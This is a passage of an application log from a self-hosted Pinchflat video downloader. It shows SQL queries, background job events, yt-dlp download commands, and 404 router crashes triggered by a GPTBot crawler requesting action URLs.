[ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4927.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46440}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4927.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46440}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4928.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, (truncated) 22:40:28.936 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:29.033 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XrIdECo9YSA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/99/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/5a/12/5a129394e51237e5ec950a2872e972dd24fd7adc389611fefa082a1bfc0478d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:40:29.033 [debug] QUERY OK db=0.0ms idle=971.4ms begin [] 22:40:29.034 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:40:26Z], "/downloads/Last Meals/2026-02-10 Doctor Mike Eats His Last Meal/Doctor Mike Eats His Last Meal [XrIdECo9YSA].mp4", ~U[2026-03-28 02:40:29Z], 99] 22:40:29.035 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/99/metadata.json.gz", "/config/metadata/media_items/99/thumbnail.jpg", 99, ~U[2026-03-28 02:40:29Z], ~U[2026-03-28 02:40:29Z]] 22:40:29.035 [debug] QUERY OK db=0.0ms commit [] 22:40:29.036 [debug] QUERY OK source="media_items" db=0.5ms idle=973.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [740727926, ~U[2026-03-28 02:40:29Z], 99] 22:40:29.036 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:40:29.036 [info] {"args":{"id":99},"id":98,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":196160381,"event":"job:stop","queue_time":6484875353,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:40:29.037 [debug] QUERY OK source="tasks" db=0.4ms idle=273.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:40:29.037 [debug] QUERY OK source="tasks" db=0.4ms idle=100.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:40:29.037 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100] 22:40:29.037 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100] 22:40:29.042 [info] {"args":{"id":101},"id":100,"meta":{},"system_time":1774665629042618284,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:40:29.042 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101] 22:40:29.043 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:40:29.043 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:40:29.043 [debug] QUERY OK source="tasks" db=0.7ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:40:29.043 [debug] QUERY OK source="tasks" db=0.7ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:40:29.043 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [100, 101] 22:40:29.043 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:40:29.043 [debug] QUERY OK source="media_items" db=0.1ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [100, 101] 22:40:29.044 [debug] QUERY OK source="media_items" db=0.1ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101] 22:40:29.044 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [101] 22:40:29.044 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:40:29.044 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:29.045 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:29.045 [debug] Running yt-dlp command for action: get_downloadable_status 22:40:29.045 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:29.045 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:29.045 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:29.045 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rX5WCm0_flI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/07/b8/07b8945cbdb0d01b18d4e97bb97b65c9aa95400d0c40c14abfee59a715c72eb8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:40:31.299 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rX5WCm0_flI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/07/b8/07b8945cbdb0d01b18d4e97bb97b65c9aa95400d0c40c14abfee59a715c72eb8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:40:31.299 [debug] Running yt-dlp command for action: download 22:40:31.299 [debug] QUERY OK source="settings" db=0.1ms idle=1237.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:31.299 [debug] QUERY OK source="settings" db=0.0ms idle=1237.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:31.299 [debug] QUERY OK source="settings" db=0.0ms idle=1237.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:31.300 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rX5WCm0_flI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/9d/37/9d3773381ff884a03b62b88a78b35de8c56efb24ea86a0389ce1b8bd4fc5061b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:40:58.938 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.680 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:28.795 [info] GET /sources/2/force_metadata_refresh 22:41:28.795 [debug] QUERY OK source="settings" db=0.1ms idle=1732.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:28.795 [debug] QUERY OK source="settings" db=0.1ms idle=937.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:28.796 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:41:28.796 [error] #PID<0.4938.0> running PinchflatWeb.Endpoint (connection #PID<0.4937.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46570}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4938.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhCpe3FUq_IwsAAH2D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46570}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4937.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46570}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4938.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, (truncated) 22:41:28.939 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:29.004 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=scAcclzNz4g --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/75/14/7514b2fa068bb37758e3e53fe04f48d8ca0d979764cc1537815e69ee43fd34cb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:41:29.017 [debug] Running yt-dlp command for action: download_thumbnail 22:41:29.017 [debug] QUERY OK source="settings" db=0.0ms idle=953.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:41:29.017 [debug] QUERY OK source="settings" db=0.0ms idle=221.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 